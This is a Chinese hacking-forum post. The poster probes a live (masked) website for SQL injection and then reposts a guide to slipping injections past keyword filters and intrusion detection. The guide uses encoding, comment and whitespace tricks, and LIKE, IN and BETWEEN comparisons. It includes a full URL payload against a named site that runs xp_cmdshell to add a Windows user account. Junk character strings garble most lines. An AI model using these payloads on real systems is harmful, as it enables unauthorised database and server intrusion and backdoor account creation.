路过这个网站,检测了一下.# K, k1 b( S; C1 N
http://www.xxx.cn/Article.asp?ID=117 and 1=1
; g( o( M# |( ~! a; k9 }( s& {! Q% I直接返回主页& V z3 ]$ e2 C* v; ~/ p
http://www.xxx.cn/Article.asp?ID=117 or 1=1
$ y' c T8 D7 z5 {; ~7 x' Z直接返回主页
; y, z0 V- K, K2 w- o- M, Fhttp://www.xxx.cn/Article.asp?ID=117 or6 A* u \6 p9 X2 @. \
没有返回主页 没有过滤or
$ b( f3 ~( a% k, G1 p* C& s" Rhttp://www.xxx.cn/Article.asp?ID=117 and& a- [) ~, H4 S; w$ n+ U* n
直接返回主页 看来过滤了and: S$ I# t# X' r" H1 h
http://www.xxx.cn/Article.asp?ID=117 or 10 Z: j' f, a5 Q6 W7 G' x/ g5 c
没有返回主页 即没有过滤or 也没有过滤1
k' m) s5 [- V5 E: |http://www.xxx.cn/Article.asp?ID=117 or 1=1
+ c" H) L% v4 A5 b5 l$ s直接返回主页 很明显过滤了等号
7 Q# ^8 V" f' P# @or的特性是与and相反的.
) j7 C7 e2 N1 v- b' qor 1=1 爆错 或与原页面不同1 |6 e5 u' O. W# X. v
or 1=2 原页面相同: b1 y+ y; _9 Q% G0 \
这样就是一个注入点
7 B2 Q0 L# d5 i. N; J但他过滤了=号 我就用><号代替=号吧!+ ~4 w3 J( X. a3 K+ I
or 1<2 很明显是正确的,所以应该与原页面不同 D) W% \. E Q4 U% j
or 1>2 很明显是错误的,所以应该与原页面相同$ l Q, M" m! D5 ?& d Q
然后看看有没有过滤其他的查询语句,比如select.
8 t4 F7 e/ ]; {+ {0 hhttp://www.xxx.cn/Article.asp?ID=117 select
+ g( E/ f6 e8 W, h5 {直接返回主页
; {: l* h' @( D, A" E又迷茫了..7 ?, X: A2 P/ X3 M% P* c5 G# @0 g
& n; `1 S: ^+ K- T7 w+ f
/ Q. O6 [* n+ t, ?) {9 {cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗1 _6 a" ?( S% |* E k
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)
8 [. T. L/ M& `) x; P' u' A& E================================================+ y9 x3 a$ m! G6 @' E
以下是转贴:" i3 |5 O* o, V/ I
4 E8 f& j8 k$ X9 M! R. n突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好…… + g+ m9 Y: s* g
经过我的收集,大部分的防注入程序都过滤了以下关键字:
5 u0 F" H' B, Zand | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
0 c3 t- r: U# W' Z# a而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。
& ?" o6 g/ o2 o/ r& [) ^对于关键字的过滤,以下是我收集的以及我个人的一些想法。 6 C$ A9 C O4 y* g7 W
1、运用编码技术绕过 + a9 l; ^# W. D8 y& @- U8 _% d
如URLEncode编码,ASCII编码绕过。例如or 1=1即
: S* N) |$ |) F, G+ o6 D%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
( o: p% R3 F) X, u8 ^* ^) }! z8 p# ]2 }+ `" T
2、通过空格绕过 ! n F9 c8 Z3 q1 L; |: t0 A
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 , A& c+ R$ S+ X- y0 F
or’ swords’ =‘swords’ - p4 ]9 L8 p4 ]3 g+ L
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。 5 d7 a( T8 s4 \8 x Z, a" u+ h6 ?/ D: g
3、运用字符串判断代替
1 U2 t' ?, v( ^3 ?- O. r: R6 f用经典的or 1=1判断绕过,如 ) g W) ?+ `7 c! b' O: P. T
or ’swords’ =’swords’
$ o1 J" I7 P$ I S2 h' ^3 Y6 h! n& \% },这个方法就是网上在讨论的。
1 j; w! U, A: I% B7 h4、通过类型转换修饰符N绕过
8 ^( J$ m+ }! G4 `" e% N. D0 B4 K可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
8 i3 {7 [' t' {/ k, o0 K5、通过+号拆解字符串绕过 |! z! E$ }: z% `
效果值得考证,但毕竟是一种方法。如 1 D9 d/ f! B( n% b2 w6 p
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) ! f! D' p' R8 z6 P- z3 K5 `) m6 i+ |
. P: x0 ^3 J$ g5 k
6、通过LIKE绕过 7 G1 A8 T9 [, X7 J5 ?# L5 {
以前怎么就没想到呢?如or * Y% V5 j+ N2 l+ ^
’swords’ LIKE ’sw’
* ]! [" ^' M& J# E!!!显然可以很轻松的绕过 + A$ x' S8 L+ f( I1 U# H% ]0 s3 S
“=”“>”
, z4 |7 U& }1 y: P* n的限制…… . _% U/ z% p# k- S
7、通过IN绕过 3 Y' x# U. B9 o" J# H) i9 |# `
与上面的LIKE的思路差不多,如
; v5 k+ [$ H# [: e mor ’swords’ IN (’swords’) V6 N* X1 G! j2 h
/ O; U+ b+ ?+ W/ u R3 [
8、通过BETWEEN绕过
; I% I7 C/ c6 \: _* X如
: K3 Q& V) e* P {0 x6 s/ ~or ’swords’ BETWEEN ’rw’ AND ’tw’ q) I7 \6 M9 M# s6 o
' ~% G( ^9 m# f: U4 S" `' P! j$ z9、通过>或者<绕过
$ I& {$ O, K8 S& T4 J& C" D0 o1 For ’swords’ > ’sw’
! i8 @7 V$ @: C) L& X r) W8 [( G, Z. Sor ’swords’ < ’tw’
! X6 f X! Q( b0 t" K( n" nor 1<3 " |. o7 h8 W! h# d2 D& H( `% O
…… 1 m; q8 L3 S: k; D; c
10、运用注释语句绕过
+ O+ ?% G1 a- W6 [& j9 c9 j用/**/代替空格,如: 0 ~% u: a! Q) Z& f n! l3 x
UNION /**/ Select /**/user,pwd,from tbluser
& Z9 s5 m+ d4 Y$ ^
& `5 k5 {, K, `- P% x C; c& v9 {用/**/分割敏感词,如: ; W' l2 @5 U9 Y- M- b4 m* L
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser ' c- e( r H- q' r3 \$ V) X
3 Y2 J' P: b; h3 Z9 G) p# U11、用HEX绕过,一般的IDS都无法检测出来
$ [& K1 v R) w6 v u0x730079007300610064006D0069006E00 =hex(sysadmin)
& x9 |4 w/ c, w0 v0x640062005F006F0077006E0065007200 =hex(db_owner) : p$ [8 k5 m3 X8 L9 K
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: " E1 V. U" p" x1 g/ Q
declare @a sysname 2 d3 }' h6 A9 M9 b- w) k
select @a= ' k% A: p8 N; f
exec master.dbo.xp_cmdshell @a f$ w' m$ B- y& z- x
效果 3 t% M/ [+ H3 c Z& {8 X- ?
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];-- t# c/ o9 P# \( O$ Y Q
; X- y0 ^, D U) d5 m; ?' `+ e其中的
4 q A9 V8 A5 e7 T2 X0 w0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 7 R5 j; V- ^3 V+ i' H7 R
就是 3 c- I% ^' x# n; a0 e6 X4 B
“net user angel pass /add”! ^+ _: n! J: p* S4 y1 ` W: `
* _, C' C! m& V: l2 D T
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。
( x2 {5 p& |) b- }0 p: W引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
( C' c% c J$ X, w- V+ a# z另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
5 G& j( ]; N8 m8 J/ R, |6 n* uCopy code
t4 s S- }0 p8 X$ @ i7 {0 `) f: sselect * from table exec xp_cmdshell'xxxxxxxxxx'
' O& o0 ] c" L0 ?5 x) O+ Y" l( U' G2 n/ k
7 M3 T3 I, S9 ]select * from table/**/exec xp_cmdshell'xxxxxxxxxx'4 R8 j/ g9 A# k7 ~6 Q& o3 P
: ?, q% [/ P, s- v" u- ~& ^( c: v, r; d1 j
select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
1 O5 q. k4 g# x. U9 w
g4 E8 I" e% ]4 Y* M0 P% Z
" Q5 J( d2 [! X5 rselect * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
' h' \& m" t8 z+ z4 @3 U7 Y
8 y( i- y. M7 D) c2 D5 B的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?: J1 O; n6 {0 J
9 I9 H* \9 [: d2 t这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了/ N( \* J+ W- t
可能大家早就知道了,不管怎么说,发在这里吧!6 H" S% S$ z# S2 h4 w
, r" C* v9 V+ o3 k" [8 Q3 V
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。. u' r: q% W+ T* c4 z7 s6 U
5 \: H3 k n1 _2 L1 v4 c
0 Q+ ^- Z9 n/ T6 v1 E/ b8 X
: z4 d1 s3 u0 e8 j8 F9 |对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,5 `5 b. E9 G/ `! |6 [& B
比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
n4 e: M* Z7 g( q' n% G; ~! ^$ F
7 L _1 r( s) U7 `6 i9 y+ K6 g) p |